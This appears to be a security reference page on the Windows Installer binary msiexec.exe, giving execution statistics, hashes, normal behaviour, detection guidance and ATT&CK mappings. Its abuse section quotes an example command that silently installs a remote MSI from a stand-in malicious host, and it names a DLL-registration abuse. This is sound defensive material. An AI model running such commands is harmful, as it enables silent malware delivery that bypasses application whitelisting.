msiexec.exe

by Microsoft

Operating SystemLOLBinhigh risk

Summary

Windows Installer (msiexec.exe) installs, modifies, and performs operations on Windows Installer packages (.msi files). It is the core component of the Windows Installer service and handles all MSI-based software installations, updates, and repairs.

msiexec.exe is the 136th most commonly executed Windows program in EchoTrail's dataset, observed 134,213 times across enterprise environments. It typically runs from C:\Windows\System32 and it is most often launched by msiexec.exe.

136th

most commonly executed Windows program

134,213

observed executions

medium

statistical confidence

Behavior

Top Paths

C:\Windows\System3264.2%
C:\Windows\SysWOW6435.8%

Top Hashes (SHA256)

866aeb5dd6fc4e84535cfff1d874dd3ea5f4bdad3b98fa970b0750f557055e5116.84%
8761879d9ce47bc68bf3bd8accbcd0165dd20ad05820f4f6439e11aa2afa7b0111.17%
b5d755b0b561aa8fdaff156e3715a333179b14c171efb53392d4d806d14cf9c98.53%
bbebe68421c03e957d3b9fa510104da9733c9c00b0beba37dd36845ff797bc1a6.22%
1061ee166ab12fc6194c0b0a6007a1e8c74198d045ab5aaf1c18d6849efafa7c5.59%
9be9929e382ad16adab4c02a87aa67dfaef951dafdef87d0324deae666bd8f624.02%
a338c5ed1adb02894b1fef51a8f885401c3d08e3368ad75d833d0b368a90cccd3.77%
b770730f01af00add0a72ff79d6facdf0621f4ba3f9e82bc6472beaadfbcef5b3.53%
0a8797d088023a7f17bb00b22ff7c91036070cca561bff5337c472313c0cb4ad2.96%
8e2aa014d7729cbfee95671717646ee480561f22e2147dae87a75c18d7369d992.78%

Process Ancestry

Top Grandparents

Top Parents

Top Children

Rare or environment-specific process names are omitted from ancestry tables. Percentages are of all observed relationships.

Security Analysis

What does msiexec.exe normally do?

Located in C:\Windows\System32 or C:\Windows\SysWOW64. Launched by services.exe (Windows Installer service), by itself (msiexec spawns child msiexec for elevation), spoolsv.exe (printer driver installs), and cmd.exe. Spawns ngen.exe (.NET optimization), child msiexec instances, and various installer helpers.

When is msiexec.exe suspicious?

Installing MSI packages from URLs (msiexec /i http://...) — remote payload download and execution. Installing packages from temp directories or user profiles. Using /quiet or /qn flags with packages from untrusted sources. Spawning shells or making network connections. Launched by unusual parents (Office applications, script interpreters).

How do attackers abuse msiexec.exe?

Remote MSI execution: msiexec /i http://malicious.com/payload.msi /quiet downloads and silently installs a malicious MSI package. This bypasses many download-and-execute detections. MSI payload delivery: attackers package malware as MSI files because the format supports custom actions that can execute arbitrary code. Proxy execution: msiexec is a signed Microsoft binary and can bypass application whitelisting. DLL execution: msiexec /y <malicious.dll> can register DLLs.

Detection guidance

High-confidence: msiexec /i with a URL or UNC path (remote installation). msiexec with /quiet or /qn installing packages from unusual paths. msiexec spawning shells or network tools after installation. Medium-confidence: msiexec /y (DLL registration). MSI installations initiated by script interpreters or Office applications. Monitor for Sysmon Event ID 1 with command-line patterns and Event ID 11 for MSI files being written to disk.

False positive notes

Extremely common during legitimate software installation. SCCM, Intune, and other deployment tools use msiexec heavily. Printer driver installations through spoolsv.exe are normal. Self-spawning (msiexec launching msiexec) for elevation is expected behavior.

MITRE ATT&CK techniques

T1218.007 T1059 T1105

Related Processes

cmd.exe ngen.exe services.exe

Ask Rocky about msiexec.exe

Rocky answers questions about msiexec.exe grounded in this same dataset — free, no account needed.

Need this data programmatically? The Rocky API includes 500 free lookups a month. Or just ask Rocky.

Data from EchoTrail's dataset of ~346M Windows process executions. Last extracted 2026-08-04.